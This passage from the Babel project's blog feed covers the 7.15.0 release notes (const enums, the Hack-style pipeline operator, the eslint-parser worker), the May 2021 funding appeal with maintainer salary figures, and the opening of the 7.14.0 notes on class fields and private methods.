class="token-line" style="color:#4d4d4c"><span class="token plain">  Animals</span><span class="token punctuation">[</span><span class="token plain">Animals</span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"Dog"</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Dog"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token plain">Animals </span><span class="token operator">||</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">Animals </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token builtin" style="color:#f5871f">console</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token plain">Animals</span><span class="token punctuation">.</span><span class="token plain">Dog</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Output with `optimizeConstEnums`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token builtin" style="color:#f5871f">console</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="hack-style-pipeline-operator-support-13191-13416">Hack-style pipeline operator support (<a href="https://github.com/babel/babel/pull/13191" target="_blank" rel="noopener noreferrer" class="">#13191</a>, <a href="https://github.com/babel/babel/pull/13416" target="_blank" rel="noopener noreferrer" class="">#13416</a>)<a href="https://babeljs.io/blog/2021/07/26/7.15.0#hack-style-pipeline-operator-support-13191-13416" class="hash-link" aria-label="Direct link to hack-style-pipeline-operator-support-13191-13416" title="Direct link to hack-style-pipeline-operator-support-13191-13416" translate="no">​</a></h3>
<p><a href="https://github.com/js-choi/proposal-hack-pipes/" target="_blank" rel="noopener noreferrer" class="">"Hack-style pipelines"</a> is a new flavor of the <a href="https://github.com/tc39/proposal-pipeline-operator" target="_blank" rel="noopener noreferrer" class="">pipeline operator</a> proposal, intended to replace the "smart mix" variant.</p>
<p>Hack-style pipelines require you to <em>always</em> use a "topic token" (such as <code>#</code>) to reference the value of the previous pipeline step:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// Input</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token string" style="color:#718c00">"World"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token operator">|</span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token template-string string" style="color:#718c00">Hello, </span><span class="token template-string interpolation interpolation-punctuation punctuation">${</span><span class="token template-string interpolation">#</span><span class="token template-string interpolation interpolation-punctuation punctuation">}</span><span class="token template-string string" style="color:#718c00">!</span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token operator">|</span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">alert</span><span class="token punctuation">(</span><span class="token plain">#</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// output</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">var</span><span class="token plain"> _ref</span><span class="token punctuation">,</span><span class="token plain"> _ref2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">_ref2 </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">_ref </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"World"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token template-string string" style="color:#718c00">Hello, </span><span class="token template-string interpolation interpolation-punctuation punctuation">${</span><span class="token template-string interpolation">_ref</span><span class="token template-string interpolation interpolation-punctuation punctuation">}</span><span class="token template-string string" style="color:#718c00">!</span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">alert</span><span class="token punctuation">(</span><span class="token plain">_ref2</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>You can test this proposal by enabling the <a href="https://babeljs.io/docs/en/babel-plugin-proposal-pipeline-operator#usage" target="_blank" rel="noopener noreferrer" class=""><code>proposal: "hack"</code></a> option in <code>@babel/plugin-proposal-pipeline-operator</code>. You must also choose which topic token to use, between <code>"#"</code> and <code>"%"</code>:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-pipeline-operator"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token property">"proposal"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"hack"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token property">"topicToken"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"#"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="preparing-babeleslint-parser-for-babel-8-13398">Preparing <code>@babel/eslint-parser</code> for Babel 8 (<a href="https://github.com/babel/babel/pull/13398" target="_blank" rel="noopener noreferrer" class="">#13398</a>)<a href="https://babeljs.io/blog/2021/07/26/7.15.0#preparing-babeleslint-parser-for-babel-8-13398" class="hash-link" aria-label="Direct link to preparing-babeleslint-parser-for-babel-8-13398" title="Direct link to preparing-babeleslint-parser-for-babel-8-13398" translate="no">​</a></h3>
<p>We have been slowly continuing to work on Babel 8 in the past months. We are not ready for a Babel 8 beta release yet, but we are starting to expose the first experimental changes.</p>
<p>We plan to fully convert Babel from CommonJS to ECMAScript modules, but this has a problem: configuration loading will be asynchronous <em>more often</em>, and <code>@babel/eslint-parser</code> can only work synchronously (because ESLint only supports synchronous parsers).</p>
<p><code>@babel/eslint-parser</code> 7.15.0 exposes a new entry-point: <code>@babel/eslint-parser/experimental-worker</code>. It moves the Babel config loading and parsing task to a separate worker which is managed synchronously from the main thread, while still supporting async configuration loading. As an immediate advantage for Babel 7, it allows using native ECMAScript modules for Babel configuration files even when using <code>@babel/eslint-parser</code>.</p>
<p>You can help us by testing it now in your existing projects, and reporting any bug <a href="https://github.com/babel/babel/issues/new?assignees=&amp;labels=i%3A+needs+triage&amp;template=bug_report.yml&amp;title=%5BBug%5D%3A+" target="_blank" rel="noopener noreferrer" class="">on our issues page</a>:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// .eslintrc.js</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">module</span><span class="token punctuation">.</span><span class="token property-access">exports</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">parser</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"@babel/eslint-parser/experimental-worker"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<div class="theme-admonition theme-admonition-info admonition_WCGJ alert alert--info"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>info</div><div class="admonitionContent_pbrs"><p>This entry-point requires Node.js &gt;= 12.3.0</p></div></div>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[Babel is used by millions, so why are we running out of money?]]></title>
            <link>https://babeljs.io/blog/2021/05/10/funding-update</link>
            <guid>https://babeljs.io/blog/2021/05/10/funding-update</guid>
            <pubDate>Mon, 10 May 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Since 2018, Babel has been doing a funding experiment: can full time work on Babel be sustained? We've learned the answer might be no.]]></description>
            <content:encoded><![CDATA[
<p>Since 2018, Babel has been doing a <a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans" target="_blank" rel="noopener noreferrer" class="">funding experiment</a>: can full time work on Babel be sustained? We've learned the answer might be no.</p>
<p>In November 2019, after successfully paying <a href="https://twitter.com/left_pad" target="_blank" rel="noopener noreferrer" class="">Henry</a> a salary for over a year, we <a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans" target="_blank" rel="noopener noreferrer" class="">expanded our goal</a> to also support three additional maintainers: <a href="https://twitter.com/JLHwung" target="_blank" rel="noopener noreferrer" class="">Jùnliàng</a>, <a href="https://twitter.com/kai_cataldo" target="_blank" rel="noopener noreferrer" class="">Kai</a>, and <a href="https://twitter.com/NicoloRibaudo" target="_blank" rel="noopener noreferrer" class="">Nicolò</a>.</p>
<p>Part of the Babel team (<a href="https://twitter.com/NicoloRibaudo" target="_blank" rel="noopener noreferrer" class="">Nicolò</a>, <a href="https://twitter.com/JLHwung" target="_blank" rel="noopener noreferrer" class="">Jùnliàng</a> and <a href="https://twitter.com/left_pad" target="_blank" rel="noopener noreferrer" class="">Henry</a>) is still being paid a salary to work on Babel, but we now need to make some adjustments in light of the donations we are currently receiving. This update is to talk about that and ask for further support from the community.</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="looking-back">Looking Back<a href="https://babeljs.io/blog/2021/05/10/funding-update#looking-back" class="hash-link" aria-label="Direct link to Looking Back" title="Direct link to Looking Back" translate="no">​</a></h2>
<p>In 2018, Henry <a href="https://www.henryzoo.com/in-pursuit-of-open-source-part-1/" target="_blank" rel="noopener noreferrer" class="">left his job</a> to see if he could make a living working on open source and Babel, looking to people like <a href="https://twitter.com/youyuxi" target="_blank" rel="noopener noreferrer" class="">Evan You</a> as an example and for advice. He had already started work on getting more funding through the <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> that we had set up in 2017 to support the project and specifically our previous core team member <a href="https://github.com/loganfsmyth" target="_blank" rel="noopener noreferrer" class="">Logan Smyth</a>, but it was difficult to do so early on while working half-time.</p>
<p>After a few months, the fundraising efforts allowed paying Henry every month: we settled on $11,000 per month as a baseline salary for working full-time on open source. We had a large grant ($10k for 10 months) from <a href="https://handshake.org/grant-sponsors/" target="_blank" rel="noopener noreferrer" class="">Handshake</a> which initially helped boost our funds, but even when it ended we didn't have problems paying our team thanks to some amazing sponsors such as Airbnb, Trivago, Gatsby, AMP, and Salesforce.</p>
<p>We didn't want to stop there. We thought that by demonstrating our ability to create and <em>pay</em> a strong team, more features and improvements (and in turn, value) would be delivered via Babel, which would continue the momentum of funding and sponsorship. We decided to start paying <a href="https://twitter.com/jlhwung" target="_blank" rel="noopener noreferrer" class="">Jùnliàng</a>, <a href="https://twitter.com/NicoloRibaudo" target="_blank" rel="noopener noreferrer" class="">Nicolò</a> and <a href="https://twitter.com/kai_cataldo" target="_blank" rel="noopener noreferrer" class="">Kai</a> a "part-time" rate: we could initially afford $2,000 USD per month. Our hope was by <a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans" target="_blank" rel="noopener noreferrer" class="">announcing this plan</a> and continuing our fundraising efforts, we would be able to increase the budget and raise them to the full-time rate.</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="where-babel-is-today">Where Babel is Today<a href="https://babeljs.io/blog/2021/05/10/funding-update#where-babel-is-today" class="hash-link" aria-label="Direct link to Where Babel is Today" title="Direct link to Where Babel is Today" translate="no">​</a></h2>
<p>It has been more than a year since then and we've both done and learned a lot.</p>
<p><a href="https://babel.dev/docs/en/features-timeline" target="_blank" rel="noopener noreferrer" class="">We've implemented</a> support for many new ECMAScript proposals, kept up with every new TypeScript and Flow release, and designed <a href="https://babel.dev/assumptions" target="_blank" rel="noopener noreferrer" class="">new features</a> to allow producing smaller compiled output. We are now nearing the next major release, Babel 8.</p>
<p>Babel continues to be used by thousands of <a href="https://babeljs.io/en/users.html" target="_blank" rel="noopener noreferrer" class="">companies all over the world</a>. It's integrated into all kinds of frameworks in the JavaScript ecosystem, whether it's React, Next.js, Vue, Ember, Angular, etc. We are hitting over <a href="https://www.npmjs.com/package/@babel/core" target="_blank" rel="noopener noreferrer" class="">117 million downloads/month</a>. It powers custom plugins and optimizations in varied scenarios like CSS-in-JS, GraphQL, or localization across enormous code bases.</p>
<p>Babel also has become the intersection where practioners and language designers meet. We believe that it's become a vital part of the process used to test new ECMAscript proposals (hopefully, not with too many unstable proposals in production!). This creates the ability for JavaScript developers to try new features and give feedback to the TC39 committee and ultimately influence how the language evolves. Babel doesn't represent any individual company's interest but hopefully the JavaScript users eagerness to participate in new ideas. Even if you or your company don't directly use Babel, you can still directly benefit from how it can help standardizing language features.</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="our-current-funding-situation">Our Current Funding Situation<a href="https://babeljs.io/blog/2021/05/10/funding-update#our-current-funding-situation" class="hash-link" aria-label="Direct link to Our Current Funding Situation" title="Direct link to Our Current Funding Situation" translate="no">​</a></h2>
<p>Every project has unique funding propositions and problems. For Babel, people often don't directly interact with it: like most build tools, you set them up once at the beginning and then forget about them (until you find a bug, sometimes!).</p>
<p>You won't see job offers for a "Babel developer", even if most of the major JS frameworks are used with Babel. Additionally, with the growth of pre-configured frameworks such as Next.js that lift the responsibility of managing the underlying build tools from their users, it's not uncommon to use Babel without even knowing it. This makes it harder for our users to justify sponsoring us to their companies.</p>
<p>From the beginning, we knew we wouldn't have enough to pay anyone a full time salary, so Henry has been spending a lot of time attempting to get continued funding, giving talks at conferences and talking to companies. However, 2020 has negatively affected our funding, despite the tech industry's growth during this time. We lost some big sponsors, and Kai had to step down to get full-time work at another job.</p>
<p>We were hoping to see a continued increase in donations to be able to increase what Jùnliàng and Nicolò where taking, but it didn't happen.</p>
<p><img decoding="async" loading="lazy" src="https://i.imgur.com/bsSHoRF.png" alt="Chart showing our OpenCollective balance decreasing since mid 2020" class="img_SS3x"></p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="the-future">The Future<a href="https://babeljs.io/blog/2021/05/10/funding-update#the-future" class="hash-link" aria-label="Direct link to The Future" title="Direct link to The Future" translate="no">​</a></h2>
<p>Despite these funding difficulties, we still want to keep paying our core team, in order to continue improving Babel. We want to focus on making Babel easier to configure, more performant, and produce more optimized output. We want to continue implementing new proposals while also ensuring that existing features are rock solid. We want to be able to spend time on better documentation of not just Babel itself but JavaScript and language design, creating an environment where any developer can tinker with making their own syntax if they choose. There's a large scope not in terms of the code we write but opportunities to bring more people into the language design space for people who might not have ever considered it. We have also published <a href="https://babeljs.io/docs/en/roadmap#babel-2021-roadmap" target="_blank" rel="noopener noreferrer" class="">a roadmap</a> to better communicate our medium-term goals.</p>
<p>We strongly believe that working in open source should be a viable and sustainable career path. We should be bringing everyone <em>up</em> to the same level, not <em>down</em>. However, we need to face the fact that this would mean draining <a href="https://opencollective.com/babel#category-BUDGET" target="_blank" rel="noopener noreferrer" class="">our current balance</a> in just a few months.</p>
<p>Everyone taking smaller and smaller amounts ends up creating a false sense of sustainability. It lowers how we value our own work, and what sponsors perceive to be sustainable amount of funding.</p>
<p>The reality is that, without more funding, we risk not being able to maintain the high standard of support and development that Babel and its users deserve. We risk losing more team members, who deserve to make a decent living in line with their skill level. The open source ecosystem also risks under-supporting a critical and widely used piece of technology.</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="our-ask">Our Ask<a href="https://babeljs.io/blog/2021/05/10/funding-update#our-ask" class="hash-link" aria-label="Direct link to Our Ask" title="Direct link to Our Ask" translate="no">​</a></h2>
<p>For now, Nicolò, Henry, and Jùnliàng will all be paid a temporary rate of $6,000 per month. This doesn't solve the problem, but it gives us time while increasing the initial temporary $2,000 USD salaries. The burn rate will still be more than the donations we currently receive each month, but our current balance allows us to sustain this amount until the end of 2021.</p>
<p>We'll do our best to balance all the priorities, while at reduced capacity due to being able to fund less of people's time and needing to spend some of that time finding new sponsors. Babel is not a company, a product, or service. And we have a small team, so we are the same people working on engineering and on funding. But it's a compromise we don't think we should have to make, considering the huge value that Babel delivers.</p>
<p>To fully fund the currently paid maintainers (but we would like to expand who is being paid, to include the whole core team), we need at least $333,000 per year, which is 2x what we're currently bringing in. Considering the amounts of money in the tech sector, this seems tiny in comparison—but it would make a big difference to Babel. Our story and stories like it make a big difference to the health and sustainability of the open source ecosystem overall.</p>
<p><strong>So, our ask is to help fund our work</strong>, via <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and <a href="https://github.com/sponsors/babel" target="_blank" rel="noopener noreferrer" class="">GitHub Sponsors</a>. Though individual contributions do matter (and we deeply appreciate them), we are really looking for more companies to step up and become <a href="https://opencollective.com/babel/contribute" target="_blank" rel="noopener noreferrer" class="">corporate sponsors</a>, alongside our current sponsors like AMP, Airbnb, Salesforce, GitPod, and others. If it would be better for your company to sustain us in other ways, we are also open to hearing any ideas. Reach out to us directly or by email at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a>.</p>
<p>We intensely hope that we'll reach our goals: more and more companies use Babel to deliver their products, and what we are asking for is a tiny fraction of the value we provide. Babel is relied upon by a big part of the web, and it's in the interests of everyone to ensure that the project continues being maintained at the same quality levels as it is now.</p>
<div style="display:flex;justify-content:space-around;align-items:center"><a href="https://opencollective.com/babel/donate" target="_blank" style="all:unset;cursor:pointer"><img alt="Donate to our OpenCollective!" src="https://opencollective.com/babel/donate/button@2x.png?color=blue" width="300"></a><iframe src="https://github.com/sponsors/babel/button" title="Sponsor Babel on GitHub" height="35" width="300" style="border:0;background:transparent"></iframe></div>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.14.0 Released: New class features enabled by default, TypeScript 4.3, and better CommonJS interop]]></title>
            <link>https://babeljs.io/blog/2021/04/29/7.14.0</link>
            <guid>https://babeljs.io/blog/2021/04/29/7.14.0</guid>
            <pubDate>Thu, 29 Apr 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Babel 7.14.0 is out!]]></description>
            <content:encoded><![CDATA[<p>Babel 7.14.0 is out!</p>
<p>This release enables class fields and private methods by default (they were promoted to Stage 4 during the recent April <a href="https://github.com/tc39/agendas/blob/master/2021/04.md" target="_blank" rel="noopener noreferrer" class="">TC39 meeting</a>!) and adds brand checks for private fields and static class blocks to <code>@babel/preset-env</code>'s <code>shippedProposals</code> option.</p>
<p>We added support for Stage 1 <a href="https://github.com/tc39/proposal-async-do-expressions" target="_blank" rel="noopener noreferrer" class="">async do expressions</a> (using <code>@babel/plugin-proposal-async-do-expressions</code>), which extends the Stage 1 <a href="https://github.com/tc39/proposal-do-expressions" target="_blank" rel="noopener noreferrer" class="">do expression</a> proposal.</p>
<p>Thanks to <a href="https://github.com/sosukesuzuki" target="_blank" rel="noopener noreferrer" class="">Sosuke Suzuki</a> and <a href="https://github.com/g-plane" target="_blank" rel="noopener noreferrer" class="">Pig Fang</a>, Babel can now handle <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-3-beta/" target="_blank" rel="noopener noreferrer" class="">TypeScript 4.3</a> features. <code>@babel/parser</code>  also has a new option to correctly parse <a href="https://www.typescriptlang.org/docs/handbook/declaration-files/introduction.html" target="_blank" rel="noopener noreferrer" class="">TypeScript declaration</a> files.</p>
<p>Finally, we introduced a new <code>importInterop: node</code> option to make it easier to produce dual modules by compiling ECMAScript imports to CommonJS that follow Node.js semantics.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.14.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2021/04/29/7.14.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="new-class-features-enabled-by-default">New class features enabled by default<a href="https://babeljs.io/blog/2021/04/29/7.14.0#new-class-features-enabled-by-default" class="hash-link" aria-label="Direct link to New class features enabled by default" title="Direct link to New class features enabled by default" translate="no">​</a></h3>
<p>The class fields and private methods proposals just reached Stage 4 and will be officially included in ECMAScript 2022! This was more of a formality since the semantics were already finalized and they've already been implemented in all the major browsers.</p>
<p>You can read more details about this new syntax on MDN (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Public_class_fields" target="_blank" rel="noopener noreferrer" class="">public fields</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Private_class_fields" target="_blank" rel="noopener noreferrer" class="">private fields and methods</a>).</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Check</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> className </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Check"</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// static public class field</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  #value </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">3</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// # means private!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">get</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">#double</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// private getter</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">#value</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// using a private field</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>Thus, you can remove <code>@babel/plugin-proposal-class-properties</code> and <code>@babel/plugin-proposal-private-methods</code>, since they are now enabled by default in <a href="https://babeljs.io/docs/en/babel-preset-env" target="_blank" rel="noopener noreferrer" class=""><code>@babel/preset-env</code></a>.</p>
<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p>Webpack supports this syntax natively as of <a href="https://github.com/webpack/webpack/releases/tag/v5.36.0" target="_blank" rel="noopener noreferrer" class="">v5.36.0</a>.
For older versions, a workaround that works with simpler Webpack setups is to manually enable the <code>acorn-stage3</code> plugin, by installing <code>acorn-stage3</code> and adding these lines at the beginning of your <code>webpack.config.js</code> file:</p><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// Require webpack's acorn dependency</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> acorn </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token plain">require</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">resolve</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"acorn"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">paths</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain">require</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">resolve</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"webpack"</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span 